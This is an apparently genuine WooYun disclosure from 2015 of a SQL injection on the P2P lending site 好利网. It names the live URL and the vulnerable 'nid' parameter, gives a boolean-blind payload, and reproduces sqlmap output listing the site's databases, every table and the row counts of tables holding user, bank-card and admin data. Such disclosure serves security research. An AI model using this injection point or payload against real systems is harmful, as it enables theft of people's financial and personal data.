当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0140413

漏洞标题:好利网主站存在SQL注入漏洞

相关厂商:好利网

漏洞作者: me1ody

提交时间:2015-09-11 12:43

修复时间:2015-10-26 12:44

公开时间:2015-10-26 12:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

好利网[1-2] 成立于2014年,是一个创新型网络借贷平台,由上海中赢金融信息服务有限公司[1-3] 创立,致力于为有资金需求的借款人和理财需求的出借人搭建了一个阳光透明的信息服务平台,所有的借款标均通过线下公司审核。
2015年1月31日,好利网母公司中赢金融在上海股权托管交易中心正式上市,企业名称“中赢金融”,企业代码"203767"。

详细说明:

注入点

http://www.haolyy.com/retail/58516?nid=bopu2015071106400978726500B60F


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: nid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=bopu2015071106400978726500B60F' AND 2901=2901 AND 'cwnc'='cwnc
---
web application technology: PHP 5.6.9
back-end DBMS: MySQL 5
available databases [4]:
[*] information_schema
[*] mysql
[*] newhaolyy
[*] performance_schema
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: nid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=bopu2015071106400978726500B60F' AND 2901=2901 AND 'cwnc'='cwnc
---
back-end DBMS: MySQL 5
Database: newhaolyy
[156 tables]
+-----------------------------------+
| deayou_account_users_bank |
| deayou_users_friends_invite |
| haolyy_account_max_id |
| haolyy_activity |
| haolyy_activity_cash |
| haolyy_admin_log |
| haolyy_areas |
| haolyy_articles |
| haolyy_articles_page |
| haolyy_articles_seo |
| haolyy_articles_type |
| haolyy_borrow |
| haolyy_borrow_api_log |
| haolyy_borrow_award |
| haolyy_borrow_change |
| haolyy_borrow_change_info |
| haolyy_borrow_change_order |
| haolyy_borrow_detail |
| haolyy_borrow_haolibao |
| haolyy_borrow_haolibao_day_log |
| haolyy_borrow_haolibao_info |
| haolyy_borrow_haolibao_order |
| haolyy_borrow_hd |
| haolyy_borrow_images |
| haolyy_borrow_publish |
| haolyy_borrow_repayment |
| haolyy_borrow_retail |
| haolyy_borrow_retail_order |
| haolyy_borrow_retail_order_log |
| haolyy_borrow_row |
| haolyy_borrow_safety |
| haolyy_borrow_safety_mode |
| haolyy_borrow_sms |
| haolyy_borrow_template |
| haolyy_borrow_template_images |
| haolyy_borrow_type |
| haolyy_borrow_usetype |
| haolyy_borrow_verify |
| haolyy_borrow_win |
| haolyy_borrow_win_detail |
| haolyy_borrow_win_info |
| haolyy_borrow_win_log |
| haolyy_borrow_win_order |
| haolyy_borrow_win_order_log |
| haolyy_borrow_win_work |
| haolyy_borrow_winorder_append_apr |
| haolyy_counting |
| haolyy_counting_log |
| haolyy_counting_log_old |
| haolyy_counting_users |
| haolyy_crm_crew |
| haolyy_crm_log |
| haolyy_crm_manager |
| haolyy_crm_role |
| haolyy_crm_users |
| haolyy_dianxiao |
| haolyy_fee_set |
| haolyy_first_hand_finance |
| haolyy_first_hand_order |
| haolyy_goods |
| haolyy_goods_category |
| haolyy_goods_gift |
| haolyy_goods_order |
| haolyy_goods_property |
| haolyy_goods_property_set |
| haolyy_goods_property_type |
| haolyy_invest_borrow_award |
| haolyy_invest_goods |
| haolyy_invest_type_award |
| haolyy_invite_group |
| haolyy_invite_users_copy |
| haolyy_last_time |
| haolyy_line_branch |
| haolyy_line_cardmoney |
| haolyy_line_depart |
| haolyy_line_expcard |
| haolyy_line_invest_log |
| haolyy_line_recharge_log |
| haolyy_line_team |
| haolyy_line_team_user |
| haolyy_line_user |
| haolyy_line_users_relation |
| haolyy_menu |
| haolyy_nz_order |
| haolyy_payment_bank |
| haolyy_payment_bank_reference |
| haolyy_payment_mode |
| haolyy_rob_gift |
| haolyy_scrollpic |
| haolyy_scrollpic_type |
| haolyy_sms_template |
| haolyy_spider_award |
| haolyy_system |
| haolyy_system_type |
| haolyy_table_name |
| haolyy_tenpay_code |
| haolyy_users |
| haolyy_users_account |
| haolyy_users_account_mod |
| haolyy_users_account_record |
| haolyy_users_account_record_type |
| haolyy_users_address |
| haolyy_users_admin |
| haolyy_users_admin_auth |
| haolyy_users_admin_type |
| haolyy_users_answer |
| haolyy_users_approve |
| haolyy_users_approve_log |
| haolyy_users_ask |
| haolyy_users_award_type |
| haolyy_users_board |
| haolyy_users_borrow_recover |
| haolyy_users_cert_log |
| haolyy_users_change_recover |
| haolyy_users_credit_card |
| haolyy_users_credit_unwrap |
| haolyy_users_email_log |
| haolyy_users_experience_account |
| haolyy_users_experience_recorder |
| haolyy_users_gift_account |
| haolyy_users_gift_recorder |
| haolyy_users_goods_recover |
| haolyy_users_haolibao_account |
| haolyy_users_haolibao_record |
| haolyy_users_haolibao_recover |
| haolyy_users_info |
| haolyy_users_integral_account |
| haolyy_users_integral_recorder |
| haolyy_users_invest_goods |
| haolyy_users_invest_send |
| haolyy_users_invite |
| haolyy_users_invite_group |
| haolyy_users_ll_api_log |
| haolyy_users_log |
| haolyy_users_messages |
| haolyy_users_other |
| haolyy_users_payment |
| haolyy_users_payment_api_log |
| haolyy_users_phone_change_log |
| haolyy_users_qq |
| haolyy_users_question |
| haolyy_users_question_set |
| haolyy_users_respond |
| haolyy_users_sina |
| haolyy_users_sms_log |
| haolyy_users_system_message_read |
| haolyy_users_upfiles |
| haolyy_users_use_apr |
| haolyy_users_virtual_account |
| haolyy_users_win_recover |
| haolyy_verif_code_log |
| haolyy_vip_level |
| haolyy_vip_level_apr |
| haolyy_virtual_goods |
| haolyy_vote |
| haolyy_vote_log |
+-----------------------------------+
Database: newhaolyy
+-----------------------------------+---------+
| Table | Entries |
+-----------------------------------+---------+
| haolyy_counting_log_old | 11755664 |
| haolyy_counting | 6888935 |
| haolyy_users_win_recover | 2471998 |
| haolyy_counting_log | 1950187 |
| haolyy_users_account_record | 1216123 |
| haolyy_users_log | 1097453 |
| haolyy_users_experience_recorder | 405004 |
| haolyy_borrow_retail_order | 325211 |
| haolyy_users_borrow_recover | 287083 |
| haolyy_users_sms_log | 245143 |
| haolyy_users_payment | 217840 |
| haolyy_users_approve | 208696 |
| haolyy_users_account | 208506 |
| haolyy_users_info | 208429 |
| haolyy_users | 208417 |
| haolyy_borrow_retail_order_log | 204324 |
| haolyy_counting_users | 198124 |
| haolyy_users_experience_account | 163581 |
| haolyy_users_gift_account | 151730 |
| haolyy_borrow_win | 149394 |
| haolyy_users_credit_card | 116879 |
| haolyy_borrow_win_order_log | 106924 |
| deayou_account_users_bank | 102536 |
| haolyy_line_expcard | 87011 |
| haolyy_users_messages | 83077 |
| haolyy_users_invite | 74450 |
| haolyy_borrow_images | 65770 |
| deayou_users_friends_invite | 64409 |
| haolyy_borrow_publish | 59946 |
| haolyy_crm_users | 48071 |
| haolyy_users_payment_api_log | 41139 |
| haolyy_borrow_retail | 38213 |
| haolyy_borrow_sms | 37245 |
| haolyy_line_recharge_log | 36200 |
| haolyy_line_users_relation | 27947 |
| haolyy_users_virtual_account | 21932 |
| haolyy_borrow_detail | 15289 |
| haolyy_borrow | 15257 |
| haolyy_line_invest_log | 15029 |
| haolyy_dianxiao | 13389 |
| haolyy_users_gift_recorder | 12096 |
| haolyy_users_approve_log | 11614 |
| haolyy_borrow_api_log | 11336 |
| haolyy_borrow_win_order | 11233 |
| haolyy_users_use_apr | 7482 |
| haolyy_borrow_verify | 6809 |
| haolyy_users_qq | 5507 |
| haolyy_borrow_row | 4816 |
| haolyy_spider_award | 4031 |
| haolyy_areas | 3581 |
| haolyy_invite_users_copy | 2261 |
| haolyy_users_address | 1888 |
| haolyy_goods_property | 1420 |
| haolyy_first_hand_order | 1071 |
| haolyy_goods_property_set | 972 |
| haolyy_borrow_win_log | 919 |
| haolyy_users_system_message_read | 700 |
| haolyy_users_sina | 610 |
| haolyy_users_change_recover | 587 |
| haolyy_vote_log | 584 |
| haolyy_goods_order | 566 |
| haolyy_borrow_win_detail | 548 |
| haolyy_borrow_win_info | 547 |
| haolyy_tenpay_code | 484 |
| haolyy_users_ll_api_log | 377 |
| haolyy_borrow_winorder_append_apr | 354 |
| haolyy_users_question | 315 |
| haolyy_articles | 265 |
| haolyy_goods | 191 |
| haolyy_table_name | 151 |
| haolyy_users_answer | 149 |
| haolyy_borrow_hd | 147 |
| haolyy_users_credit_unwrap | 125 |
| haolyy_line_user | 110 |
| haolyy_line_team_user | 95 |
| haolyy_users_account_record_type | 77 |
| haolyy_users_account_mod | 71 |
| haolyy_payment_bank | 69 |
| haolyy_borrow_change_info | 49 |
| haolyy_users_admin | 49 |
| haolyy_scrollpic | 48 |
| haolyy_payment_bank_reference | 43 |
| haolyy_borrow_change | 40 |
| haolyy_borrow_change_order | 40 |
| haolyy_borrow_win_work | 39 |
| haolyy_users_board | 29 |
| haolyy_users_phone_change_log | 29 |
| haolyy_articles_type | 24 |
| haolyy_sms_template | 23 |
| haolyy_borrow_usetype | 21 |
| haolyy_users_other | 21 |
| haolyy_articles_page | 17 |
| haolyy_users_invite_group | 17 |
| haolyy_borrow_template_images | 16 |
| haolyy_crm_manager | 16 |
| haolyy_crm_log | 13 |
| haolyy_users_admin_type | 12 |
| haolyy_vip_level_apr | 12 |
| haolyy_borrow_type | 8 |
| haolyy_goods_category | 8 |
| haolyy_line_team | 7 |
| haolyy_payment_mode | 7 |
| haolyy_goods_gift | 6 |
| haolyy_nz_order | 6 |
| haolyy_scrollpic_type | 6 |
| haolyy_invite_group | 5 |
| haolyy_account_max_id | 4 |
| haolyy_crm_crew | 4 |
| haolyy_crm_role | 4 |
| haolyy_line_branch | 4 |
| haolyy_line_depart | 3 |
| haolyy_vip_level | 3 |
| haolyy_vote | 3 |
| haolyy_first_hand_finance | 2 |
| haolyy_borrow_template | 1 |
| haolyy_fee_set | 1 |
| haolyy_last_time | 1 |
| haolyy_line_cardmoney | 1 |
| haolyy_rob_gift | 1 |
| haolyy_users_cert_log | 1 |
+-----------------------------------+---------+

漏洞证明:

详细里面有

修复方案:

- - 这可是P2P啊

版权声明:转载请注明来源 me1ody@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

评论